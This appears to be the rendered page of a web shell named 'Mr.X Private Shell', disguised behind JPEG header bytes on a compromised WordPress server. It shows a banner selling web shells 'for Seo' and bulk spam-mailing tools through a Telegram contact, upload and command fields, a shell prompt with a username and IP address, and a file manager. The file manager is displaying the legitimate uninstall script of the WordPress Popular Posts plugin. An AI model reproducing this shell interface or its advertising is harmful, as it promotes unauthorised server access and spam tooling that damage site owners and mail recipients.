����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

eblama1@216.73.217.57: ~ $
<?php
/**
 * Fired when the plugin is uninstalled.
 *
 * @package   WordpressPopularPosts
 * @author    Hector Cabrera <me@cabrerahector.com>
 * @license   GPL-2.0+
 * @link      https://cabrerahector.com
 * @copyright 2008-2022 Hector Cabrera
 */

// If uninstall is not called from WordPress, exit
if ( ! defined('WP_UNINSTALL_PLUGIN') ) {
    exit;
}

// Run uninstall for each blog in the network
if (
    function_exists('is_multisite') 
    && is_multisite()
) {
    global $wpdb;

    $blogs_table = "{$wpdb->blogs}";
    $original_blog_id = get_current_blog_id();
    $blogs_ids = $wpdb->get_col($wpdb->prepare("SELECT blog_id FROM %i", $blogs_table)); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching

    foreach( $blogs_ids as $b_id ) {
        switch_to_blog($b_id);
        // delete tables and options
        wordpress_popular_posts_uninstall();
        // delete thumbnails cache and its directory
        wordpress_popular_posts_delete_thumb_cache();
    }

    // Switch back to current blog
    switch_to_blog($original_blog_id);
} else {
    // delete tables and options
    wordpress_popular_posts_uninstall();
    // delete thumbnails cache and its directory
    wordpress_popular_posts_delete_thumb_cache();
}

function wordpress_popular_posts_delete_thumb_cache() {
    $wp_upload_dir = wp_get_upload_dir();

    if ( is_dir($wp_upload_dir['basedir'] . '/wordpress-popular-posts') ) {
        $files = glob($wp_upload_dir['basedir'] . '/wordpress-popular-posts/*'); // get all file names

        if ( is_array($files) && ! empty($files) ) {
            foreach( $files as $file ){ // iterate files
                if ( is_file($file) ) {
                    @unlink($file); // delete file
                }
            }
        }

        // Finally, delete WPP's upload directory
        @rmdir($wp_upload_dir['basedir'] . '/wordpress-popular-posts');
    }
}

function wordpress_popular_posts_uninstall() {
    global $wpdb;

    // Delete plugin's options
    delete_option('wpp_ver');
    delete_option('wpp_update');
    delete_option('wpp_settings_config');
    delete_option('wpp_rand');
    delete_option('wpp_transients');
    delete_option('wpp_performance_nag');

    // Delete WPP's DB tables
    $prefix = $wpdb->prefix . 'popularposts';
    //phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching,WordPress.DB.DirectDatabaseQuery.SchemaChange
    $wpdb->query($wpdb->prepare("DROP TABLE IF EXISTS %i;", "{$prefix}data"));
    $wpdb->query($wpdb->prepare("DROP TABLE IF EXISTS %i;", "{$prefix}datacache"));
    $wpdb->query($wpdb->prepare("DROP TABLE IF EXISTS %i;", "{$prefix}datacache_backup"));
    $wpdb->query($wpdb->prepare("DROP TABLE IF EXISTS %i;", "{$prefix}log"));
    $wpdb->query($wpdb->prepare("DROP TABLE IF EXISTS %i;", "{$prefix}summary"));
    $wpdb->query($wpdb->prepare("DROP TABLE IF EXISTS %i;", "{$prefix}transients"));
    //phpcs:enable
}

Filemanager

Name Type Size Permission Actions
assets Folder 0755
i18n Folder 0755
src Folder 0755
vendor Folder 0755
LICENSE File 18 KB 0644
index.php File 30 B 0644
readme.txt File 13.36 KB 0644
uninstall.php File 3.02 KB 0644
wordpress-popular-posts.php File 1.2 KB 0644